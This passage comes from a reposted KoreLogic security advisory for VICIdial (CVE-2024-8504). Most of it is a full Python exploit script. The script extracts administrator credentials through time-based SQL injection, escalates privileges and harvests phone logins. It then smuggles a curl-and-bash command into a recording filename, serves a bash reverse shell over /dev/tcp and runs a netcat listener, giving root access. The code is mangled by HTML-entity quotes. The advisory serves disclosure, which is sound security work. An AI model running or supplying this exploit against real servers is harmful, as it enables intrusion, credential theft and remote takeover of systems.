\/>&#8220;modify_carriers&#8221;:&#8221;1&#8243;,&#8221;modify_email_accounts&#8221;:&#8221;0&#8243;,&#8221;modify_labels&#8221;:&#8221;1&#8243;,&#8221;modify_colors&#8221;:&#8221;1&#8243;,<br \/>&#8220;modify_languages&#8221;:&#8221;0&#8243;,&#8221;modify_statuses&#8221;:&#8221;1&#8243;,&#8221;modify_voicemail&#8221;:&#8221;1&#8243;,&#8221;modify_audiostore&#8221;:&#8221;1&#8243;,<br \/>&#8220;modify_moh&#8221;:&#8221;1&#8243;,&#8221;modify_tts&#8221;:&#8221;1&#8243;,&#8221;modify_contacts&#8221;:&#8221;1&#8243;,&#8221;callcard_admin&#8221;:&#8221;1&#8243;,<br \/>&#8220;modify_auto_reports&#8221;:&#8221;0&#8243;,&#8221;add_timeclock_log&#8221;:&#8221;1&#8243;,&#8221;modify_timeclock_log&#8221;:&#8221;1&#8243;,<br \/>&#8220;delete_timeclock_log&#8221;:&#8221;1&#8243;,&#8221;manager_shift_enforcement_override&#8221;:&#8221;1&#8243;,&#8221;pause_code_approval&#8221;:&#8221;1&#8243;,<br \/>&#8220;admin_cf_show_hidden&#8221;:&#8221;0&#8243;,&#8221;modify_ip_lists&#8221;:&#8221;0&#8243;,&#8221;ignore_ip_list&#8221;:&#8221;0&#8243;,<br \/>&#8220;two_factor_override&#8221;:&#8221;NOT_ACTIVE&#8221;,&#8221;vdc_agent_api_access&#8221;:&#8221;1&#8243;,&#8221;api_list_restrict&#8221;:&#8221;0&#8243;,<br \/>&#8220;api_allowed_functions%5B%5D&#8221;:&#8221;ALL_FUNCTIONS&#8221;,&#8221;api_only_user&#8221;:&#8221;0&#8243;,&#8221;modify_same_user_level&#8221;:&#8221;1&#8243;,<br \/>&#8220;download_invalid_files&#8221;:&#8221;1&#8243;,&#8221;alter_admin_interface_options&#8221;:&#8221;1&#8243;,&#8221;SUBMIT&#8221;:&#8221;SUBMIT&#8221;<br \/>}<br \/>response = session.post(target_uri, headers=request_headers, data=user_settings_body)<br \/>print(&#8216;[+] Updated user settings to increase privileges&#8217;)<\/p>\n<p># update system settings without clobbering existing configuration<br \/>response = session.get(target_uri, headers=request_headers, params={&#8216;ADD&#8217;:&#8217;311111111111111&#8242;})<br \/>soup = BeautifulSoup(response.text, &#8216;html.parser&#8217;)<br \/>form_tag = soup.find(&#8216;form&#8217;)<br \/>system_settings_body = {}<br \/>for input_tag in form_tag.find_all(&#8216;input&#8217;):<br \/>setting_name = input_tag[&#8216;name&#8217;]setting_value = input_tag[&#8216;value&#8217;]system_settings_body[setting_name] = setting_value<\/p>\n<p>for select_tag in form_tag.find_all(&#8216;select&#8217;):<br \/>setting_name = select_tag[&#8216;name&#8217;]selected_tag = select_tag.find(&#8216;option&#8217;, selected=True)<br \/>if not selected_tag:<br \/>continue<br \/>setting_value = selected_tag.text<br \/>system_settings_body[setting_name] = setting_value<\/p>\n<p>system_settings_body[&#8216;outbound_autodial_active&#8217;] = &#8216;0&#8217;<br \/>response = session.post(target_uri, headers=request_headers, data=system_settings_body)<br \/>print(&#8216;[+] Updated system settings&#8217;)<\/p>\n<p># create dummy campaign<br \/>campaign_settings_body = {<br \/>&#8220;ADD&#8221;:&#8221;21&#8243;,&#8221;park_ext&#8221;:&#8221;&#8221;,&#8221;campaign_id&#8221;:&#8221;313373&#8243;,&#8221;campaign_name&#8221;:&#8221;korelogic_campaign&#8221;,<br \/>&#8220;campaign_description&#8221;:&#8221;&#8221;,&#8221;user_group&#8221;:&#8221;&#8212;ALL&#8212;&#8220;,&#8221;active&#8221;:&#8221;Y&#8221;,&#8221;park_file_name&#8221;:&#8221;&#8221;,<br \/>&#8220;web_form_address&#8221;:&#8221;&#8221;,&#8221;allow_closers&#8221;:&#8221;Y&#8221;,&#8221;hopper_level&#8221;:&#8221;1&#8243;,&#8221;auto_dial_level&#8221;:&#8221;0&#8243;,<br \/>&#8220;next_agent_call&#8221;:&#8221;random&#8221;,&#8221;local_call_time&#8221;:&#8221;12pm-5pm&#8221;,&#8221;voicemail_ext&#8221;:&#8221;&#8221;,&#8221;script_id&#8221;:&#8221;&#8221;,<br \/>&#8220;get_call_launch&#8221;:&#8221;NONE&#8221;,&#8221;SUBMIT&#8221;:&#8221;SUBMIT&#8221;<br \/>}<br \/>response = session.post(target_uri, headers=request_headers, data=campaign_settings_body)<br \/>print(&#8216;[+] Created dummy campaign &#8220;korelogic_campaign&#8221;&#8216;)<\/p>\n<p># update dummy campaign<br \/>update_campaign_body = {<br \/>&#8220;ADD&#8221;:&#8221;41&#8243;,&#8221;campaign_id&#8221;:&#8221;313373&#8243;,&#8221;old_campaign_allow_inbound&#8221;:&#8221;Y&#8221;,<br \/>&#8220;campaign_name&#8221;:&#8221;korelogic_campaign&#8221;,&#8221;active&#8221;:&#8221;Y&#8221;,&#8221;dial_status&#8221;:&#8221;&#8221;,&#8221;lead_order&#8221;:&#8221;DOWN&#8221;,<br \/>&#8220;list_order_mix&#8221;:&#8221;DISABLED&#8221;,&#8221;lead_filter_id&#8221;:&#8221;NONE&#8221;, &#8220;no_hopper_leads_logins&#8221;:&#8221;Y&#8221;,<br \/>&#8220;hopper_level&#8221;:&#8221;1&#8243;,&#8221;reset_hopper&#8221;:&#8221;N&#8221;,&#8221;dial_method&#8221;:&#8221;RATIO&#8221;,&#8221;auto_dial_level&#8221;:&#8221;1&#8243;,<br \/>&#8220;adaptive_intensity&#8221;:&#8221;0&#8243;,&#8221;SUBMIT&#8221;:&#8221;SUBMIT&#8221;,&#8221;form_end&#8221;:&#8221;END&#8221;<br \/>}<br \/>response = session.post(target_uri, headers=request_headers, data=update_campaign_body)<br \/>print(&#8216;[+] Updated dummy campaign settings&#8217;)<\/p>\n<p># create dummy list<br \/>list_settings_body = {<br \/>&#8220;ADD&#8221;:&#8221;211&#8243;,&#8221;list_id&#8221;:&#8221;313374&#8243;,&#8221;list_name&#8221;:&#8221;korelogic_list&#8221;,&#8221;list_description&#8221;:&#8221;&#8221;,<br \/>&#8220;campaign_id&#8221;:&#8221;313373&#8243;,&#8221;active&#8221;:&#8221;Y&#8221;,&#8221;SUBMIT&#8221;:&#8221;SUBMIT&#8221;<br \/>}<br \/>response = session.post(target_uri, headers=request_headers, data=list_settings_body)<br \/>print(&#8216;[+] Created dummy list for campaign&#8217;)<\/p>\n<p># fetch credentials for a phone login<br \/>response = session.get(target_uri, headers=request_headers, params={&#8216;ADD&#8217;:&#8217;10000000000&#8242;})<br \/>soup = BeautifulSoup(response.text, &#8216;html.parser&#8217;)<br \/>phone_uri_path = soup.find(&#8216;a&#8217;, string=&#8217;MODIFY&#8217;)[&#8216;href&#8217;]\n<p>response = session.get(f'{self.base_uri}{phone_uri_path}&#8217;, headers=request_headers)<br \/>soup = BeautifulSoup(response.text, &#8216;html.parser&#8217;)<br \/>phone_extension = soup.find(&#8216;input&#8217;, {&#8216;name&#8217;: &#8216;extension&#8217;})[&#8216;value&#8217;]phone_password = soup.find(&#8216;input&#8217;, {&#8216;name&#8217;: &#8216;pass&#8217;})[&#8216;value&#8217;]recording_extension = soup.find(&#8216;input&#8217;, {&#8216;name&#8217;: &#8216;recording_exten&#8217;})[&#8216;value&#8217;]print(f'[+] Found phone credentials: {phone_extension}:{phone_password}&#8217;)<\/p>\n<p># authenticate to agent portal with phone credentials<br \/>manager_login_body = {<br \/>&#8220;DB&#8221;:&#8221;0&#8243;,&#8221;JS_browser_height&#8221;:&#8221;1313&#8243;,&#8221;JS_browser_width&#8221;:&#8221;2560&#8243;,&#8221;phone_login&#8221;:phone_extension,<br \/>&#8220;phone_pass&#8221;:phone_password,&#8221;LOGINvarONE&#8221;:&#8221;&#8221;,&#8221;LOGINvarTWO&#8221;:&#8221;&#8221;,&#8221;LOGINvarTHREE&#8221;:&#8221;&#8221;,&#8221;LOGINvarFOUR&#8221;:&#8221;&#8221;,<br \/>&#8220;LOGINvarFIVE&#8221;:&#8221;&#8221;,&#8221;hide_relogin_fields&#8221;:&#8221;&#8221;,&#8221;VD_login&#8221;:username,&#8221;VD_pass&#8221;:password,<br \/>&#8220;MGR_override&#8221;:&#8221;1&#8243;,&#8221;relogin&#8221;:&#8221;YES&#8221;,&#8221;VD_login&#8221;:username,&#8221;VD_pass&#8221;:password,<br \/>&#8220;MGR_login20240530&#8243;:username,&#8221;MGR_pass20240530&#8243;:password,&#8221;SUBMIT&#8221;:&#8221;SUBMIT&#8221;<br \/>}<br \/>response = session.post(f'{self.base_uri}\/agc\/vicidial.php&#8217;, headers=request_headers, data=manager_login_body)<br \/>print(f'[+] Entered &#8220;manager&#8221; credentials to override shift enforcement&#8217;)<\/p>\n<p>agent_login_body = {<br \/>&#8220;DB&#8221;:&#8221;0&#8243;,&#8221;JS_browser_height&#8221;:&#8221;1313&#8243;,&#8221;JS_browser_width&#8221;:&#8221;2560&#8243;,&#8221;admin_test&#8221;:&#8221;&#8221;,&#8221;LOGINvarONE&#8221;:&#8221;&#8221;,<br \/>&#8220;LOGINvarTWO&#8221;:&#8221;&#8221;,&#8221;LOGINvarTHREE&#8221;:&#8221;&#8221;,&#8221;LOGINvarFOUR&#8221;:&#8221;&#8221;,&#8221;LOGINvarFIVE&#8221;:&#8221;&#8221;,&#8221;phone_login&#8221;:phone_extension,<br \/>&#8220;phone_pass&#8221;:phone_password,&#8221;VD_login&#8221;:username,&#8221;VD_pass&#8221;:password,&#8221;VD_campaign&#8221;:&#8221;313373&#8243;,<br \/>}<br \/>response = session.post(f'{self.base_uri}\/agc\/vicidial.php&#8217;, headers=request_headers, data=agent_login_body)<br \/>print(f'[+] Authenticated as agent using phone credentials&#8217;)<\/p>\n<p># insert malicious recording<br \/>session_name = re.findall(r&#8221;var session_name = &#8216;([a-zA-Z0-9_]+?)&#8217;;&#8221;, response.text)[0]session_id = re.findall(r&#8221;var session_id = &#8216;([0-9]+?)&#8217;;&#8221;, response.text)[0]malicious_filename = <br \/>f&#8221;3133731337$(curl$IFS@{self.PAYLOAD_WEBSERVER_HOST}:{self.PAYLOAD_WEBSERVER_PORT}$IFS-o$IFS.c&amp;&amp;bash$IFS.c)&#8221;<br \/>record1_body = {<br \/>&#8220;server_ip&#8221;:self.TARGET_IP,&#8221;session_name&#8221;:session_name,&#8221;user&#8221;:username,&#8221;pass&#8221;:password,<br \/>&#8220;ACTION&#8221;:&#8221;MonitorConf&#8221;,&#8221;format&#8221;:&#8221;text&#8221;,&#8221;channel&#8221;:f&#8221;Local\/{recording_extension}@default&#8221;,&#8221;filename&#8221;:malicious_filename,<br \/>&#8220;exten&#8221;:recording_extension,&#8221;ext_context&#8221;:&#8221;default&#8221;,&#8221;lead_id&#8221;:&#8221;&#8221;,&#8221;ext_priority&#8221;:&#8221;1&#8243;,&#8221;FROMvdc&#8221;:&#8221;YES&#8221;,<br \/>&#8220;uniqueid&#8221;:&#8221;&#8221;,&#8221;FROMapi&#8221;:&#8221;&#8221;<br \/>}<br \/>response = session.post(f'{self.base_uri}\/agc\/manager_send.php&#8217;, headers=request_headers, data=record1_body)<br \/>recording_id = re.findall(r&#8217;RecorDing_ID: ([0-9]+)&#8217;, response.text)[0]\n<p># stop malicious recording to prevent file size from growing<br \/>record2_body = {<br \/>&#8220;server_ip&#8221;:self.TARGET_IP,&#8221;session_name&#8221;:session_name,&#8221;user&#8221;:username,<br \/>&#8220;pass&#8221;:password,&#8221;ACTION&#8221;:&#8221;StopMonitorConf&#8221;,&#8221;format&#8221;:&#8221;text&#8221;,&#8221;channel&#8221;:f&#8221;Local\/{recording_extension}@default&#8221;,<br \/>&#8220;filename&#8221;:f&#8221;ID:{recording_id}&#8221;,&#8221;exten&#8221;:session_id,&#8221;ext_context&#8221;:&#8221;default&#8221;,&#8221;lead_id&#8221;:&#8221;&#8221;,&#8221;ext_priority&#8221;:&#8221;1&#8243;,<br \/>&#8220;FROMvdc&#8221;:&#8221;YES&#8221;,&#8221;uniqueid&#8221;:&#8221;&#8221;,&#8221;FROMapi&#8221;:&#8221;&#8221;<br \/>}<br \/>response = session.post(f'{self.base_uri}\/agc\/conf_exten_check.php&#8217;, headers=request_headers, <br \/>data=record2_body)<\/p>\n<p># returns administrator username and password by<br \/># exploiting time-based SQL injection.<br \/>def extract_admin_credentials(self, session):<br \/>print(&#8216;[~] Enumerating administrator credentials&#8217;)<br \/>username_charset = string.ascii_letters + string.digits<br \/>admin_username_query = &#8220;SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = <br \/>&#8216;1&#8217; LIMIT 1&#8243;<br \/>admin_username = self.enumerate_sql_query(session, admin_username_query, username_charset)<br \/>print(f'[+] Username: {admin_username}&#8217;)<\/p>\n<p>password_charset = string.ascii_letters + string.digits + &#8216;-.+\/=_&#8217;<br \/>admin_password_query = f&#8221;SELECT pass FROM vicidial_users WHERE user = &#8216;{admin_username}&#8217; LIMIT 1&#8243;<br \/>admin_password = self.enumerate_sql_query(session, admin_password_query, password_charset)<br \/>print(f'[+] Password: {admin_password}&#8217;)<\/p>\n<p>return admin_username, admin_password<\/p>\n<p># emulates a webserver to deliver exploit script<br \/>def payload_webserver(self):<br \/>server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br \/>server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)<br \/>server.bind((self.PAYLOAD_WEBSERVER_HOST, int(self.PAYLOAD_WEBSERVER_PORT)))<br \/>server.listen(1)<\/p>\n<p>while True:<br \/>client, incoming_address = server.accept()<br \/>message = client.recv(100)<br \/>if b&#8217;User-Agent: curl&#8217; in message:<br \/>break<br \/>else:<br \/>client.close()<\/p>\n<p>print(f'[+] Received cURL request from {incoming_address[0]}&#8217;)<br \/>exploit_script = f&#8221;#!\/bin\/bash\\nbash -i &gt;&amp; \/dev\/tcp\/{self.REVERSE_SHELL_HOST}\/{self.REVERSE_SHELL_PORT} 0&gt;&amp;1&#8243;<br \/>http_response = f&#8221;HTTP\/1.1 200 OK\\r\\n&#8221;<br \/>http_response += f&#8221;Content-Length: {len(exploit_script)}\\r\\n\\r\\n&#8221;<br \/>http_response += exploit_script<br \/>client.sendall(http_response.encode())<br \/>client.close()<\/p>\n<p># starts a netcat process to catch the incoming reverse shell<br \/>def netcat_listener(self):<br \/>os.system(f&#8217;nc -nlvs {self.REVERSE_SHELL_HOST} -p {self.REVERSE_SHELL_PORT}&#8217;)<\/p>\n<p># binds to provided addresses and handles incoming connections<br \/>def prepare_listeners(self):<br \/>webserver = threading.Thread(target=self.payload_webserver)<br \/>netcat = threading.Thread(target=self.netcat_listener)<br \/>print(&#8216;[~] Listening for incoming connections&#8230;&#8217;)<br \/>netcat.start()<br \/>webserver.start()<\/p>\n<p># establish a reverse shell as root from the vicidial instance<br \/>def shell(self):<br \/>session = self.build_requests_session()<br \/>is_vulnerable = self.is_vulnerable(session)<br \/>if is_vulnerable:<br \/>print(&#8216;[+] Target appears vulnerable to time-based SQL injection&#8217;)<br \/>else:<br \/>print(&#8216;[-] Failed to perform time-based SQL injection&#8217;)<br \/>return<\/p>\n<p>username, password = self.extract_admin_credentials(session)<br \/>self.poison_recording_files(session, username, password)<\/p>\n<p># prepare exploit listeners if configured<br \/>if self.BIND: self.prepare_listeners()<\/p>\n<p>if __name__ == &#8216;__main__&#8217;:<br \/>argparser = argparse.ArgumentParser(description=&#8217;Exploit for CVE-2024-XXXXX: Unauthenticated SQLi to RCE as root&#8217;)<br \/>required = argparser.add_argument_group(&#8216;Required Arguments&#8217;)<br \/>optional = argparser.add_argument_group(&#8216;Optional Arguments&#8217;)<br \/>required.add_argument(&#8216;-rh&#8217;, &#8216;&#8211;rhost&#8217;, required=True, help=&#8217;Vicidial Server IP address&#8217;)<br \/>required.add_argument(&#8216;-rp&#8217;, &#8216;&#8211;rport&#8217;, required=True, help=&#8217;Vicidial Server port number&#8217;)<br \/>required.add_argument(&#8216;-wh&#8217;, &#8216;&#8211;whost&#8217;, required=True, help=&#8217;Malicious webserver IP address&#8217;)<br \/>required.add_argument(&#8216;-wp&#8217;, &#8216;&#8211;wport&#8217;, required=True, help=&#8217;Malicious webserver port number&#8217;)<br \/>required.add_argument(&#8216;-lh&#8217;, &#8216;&#8211;lhost&#8217;, required=False, help=&#8217;Reverse shell listener IP address&#8217;)<br \/>required.add_argument(&#8216;-lp&#8217;, &#8216;&#8211;lport&#8217;, required=False, help=&#8217;Reverse shell listener port number&#8217;)<br \/>optional.add_argument(&#8216;-b&#8217;, &#8216;&#8211;bind&#8217;, required=False, help=&#8217;Bind to [lhost:lport] and [whost:wport] and <br \/>handle connections automatically&#8217;, action=&#8217;store_true&#8217;, default=False)<br \/>optional.add_argument(&#8216;-p&#8217;, &#8216;&#8211;proxy&#8217;, required=False, help=&#8217;HTTP[S] proxy to use for outbound requests&#8217;, <br \/>default=None)<br \/>arguments = argparser.parse_args()<\/p>\n<p>exploit = Exploit(<br \/>rhost = arguments.rhost,<br \/>rport = arguments.rport,<br \/>whost = arguments.whost,<br \/>wport = arguments.wport,<br \/>lhost = arguments.lhost,<br \/>lport = arguments.lport,<br \/>bind = arguments.bind,<br \/>proxy = arguments.proxy<br \/>)<br \/>exploit.shell()<\/p>\n<p>The contents of this advisory are copyright(c) 2024<br \/>KoreLogic, Inc. and are licensed under a Creative Commons<br \/>Attribution Share-Alike 4.0 (United States) License:<br \/>http:\/\/creativecommons.org\/licenses\/by-sa\/4.0\/<\/p>\n<p>KoreLogic, Inc. is a founder-owned and operated company with a<br \/>proven track record of providing security services to entities<br \/>ranging from Fortune 500 to small and mid-sized companies. We<br \/>are a highly skilled team of senior security consultants doing<br \/>by-hand security assessments for the most important networks in<br \/>the U.S. and around the world. We are also developers of various<br \/>tools and resources aimed at helping the security community.<br \/>https:\/\/www.korelogic.com\/about-korelogic.html<\/p>\n<p>Our public vulnerability disclosure policy is available at:<br \/>https:\/\/korelogic.com\/KoreLogic-Public-Vulnerability-Disclosure-Policy<\/p>\n","protected":false},"excerpt":{"rendered":"<p>KL-001-2024-012: VICIdial Authenticated Remote Code Execution Title: VICIdial Authenticated Remote Code ExecutionAdvisory ID: KL-001-2024-012Publication Date: 2024-09-10Publication URL: https:\/\/korelogic.com\/Resources\/Advisories\/KL-001-2024-012.txt 1. Vulnerability Details Affected Vendor: VICIdialAffected Product: VICIdialAffected Version: 2.14-917aPlatform: GNU\/LinuxCWE Classification: CWE-78: Improper Neutralization of SpecialElements used in an OS Command(&#8216;OS Command Injection&#8217;)CVE ID: CVE-2024-8504 2. Vulnerability Description An attacker with authenticated access to VICIdial as &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59590","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59590","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59590"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59590\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59590"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59590"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59590"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}